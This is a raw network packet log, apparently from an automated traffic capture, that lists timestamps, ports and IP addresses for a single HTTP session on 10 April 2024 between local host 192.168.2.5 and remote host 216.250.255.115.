Apr 10, 2024 10:23:09.834551096 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834595919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834634066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834659100 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834670067 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834708929 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834717035 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834745884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834781885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834784985 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834824085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834834099 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834834099 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834862947 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834899902 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834904909 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834922075 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834938049 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834975004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.834979057 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.834979057 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.835031033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.835068941 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.835068941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.835108995 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.835108995 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994551897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994604111 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994642019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994678974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994689941 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994718075 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994718075 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994719028 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994755983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994776011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994776011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994795084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994828939 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994837999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994865894 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994874954 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994909048 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994914055 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994931936 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994950056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.994985104 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994985104 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:09.994987011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:09.995038986 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.017888069 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154463053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154525995 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154566050 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154612064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154650927 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154689074 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154723883 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154740095 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154762983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154776096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154776096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154776096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154776096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154776096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154782057 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154799938 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154818058 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154829979 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154829979 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154835939 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154854059 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154863119 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154863119 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154871941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154889107 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154890060 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154906988 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154921055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154921055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154926062 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.154928923 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.154948950 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.155195951 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.177496910 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.177553892 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.177663088 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.247684002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.247684002 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.314650059 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314708948 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314748049 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314790010 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314812899 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.314829111 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314867020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314892054 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.314903975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314940929 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314980030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.314989090 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.314989090 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315020084 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315057993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315072060 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315099955 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315138102 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315176964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315213919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315221071 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315221071 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315252066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315289974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315327883 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315365076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315373898 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315373898 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315402985 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315440893 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315479994 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315515995 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315524101 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315524101 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315553904 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315592051 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315628052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315664053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315673113 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315673113 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315702915 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315738916 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315774918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315812111 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315819025 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315819025 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315850019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315887928 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315915108 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.315924883 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315962076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.315998077 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316003084 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316035986 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316045046 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316072941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316111088 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316131115 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316148996 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316186905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316243887 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316246033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316283941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316320896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316359043 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316359997 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316359997 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316397905 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316436052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316442966 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316473961 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316512108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316519976 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316553116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316591024 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316627026 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316634893 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316663980 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316703081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316746950 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316754103 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316754103 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316787004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316823006 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316862106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316899061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316907883 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316907883 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.316937923 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.316977978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317014933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317050934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317059040 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317059040 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317089081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317125082 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317137957 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317166090 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317203999 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317241907 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317277908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317287922 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317287922 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317362070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317403078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317447901 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317460060 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317492008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317517996 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317529917 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317568064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317604065 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317617893 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317641973 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317678928 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317714930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317722082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317722082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317758083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317799091 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317836046 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317852020 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317876101 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317890882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.317914009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317950964 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317987919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.317996979 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318023920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318059921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318078995 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318094969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318133116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318136930 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318171978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318207026 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318208933 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318253994 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318294048 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318295956 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318331957 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318371058 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318387032 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318408966 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318445921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318449974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318483114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318521023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318525076 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318558931 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318583965 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318597078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318634033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318670988 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318701029 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318708897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318728924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318748951 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318789005 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318826914 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318847895 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318865061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318871975 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.318902969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318939924 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.318978071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319015026 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319024086 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319024086 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319051981 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319088936 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319097996 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319128036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319165945 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319202900 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319205999 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319242001 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319278002 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319281101 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319315910 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319354057 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319381952 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319391012 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319396019 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319433928 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319472075 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319509983 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319529057 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319546938 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319585085 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319622993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319623947 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319623947 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319660902 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319700956 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319737911 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319740057 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319775105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319792986 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319811106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319849014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319856882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.319888115 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319925070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319962025 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319998026 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.319999933 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320036888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320050955 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320074081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320110083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320116043 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320147991 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320185900 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320230007 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320230007 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320240974 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320280075 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320317030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320353031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320389032 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320400953 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320400953 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320426941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320466042 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320502996 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320538998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320544004 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320544004 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320576906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320622921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320625067 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320661068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320699930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320708990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320708990 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320736885 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320765018 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320774078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320776939 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320812941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320813894 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:10.320849895 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:10.320888996 CEST	80	49705	216.250.255.115	192.168.2.5
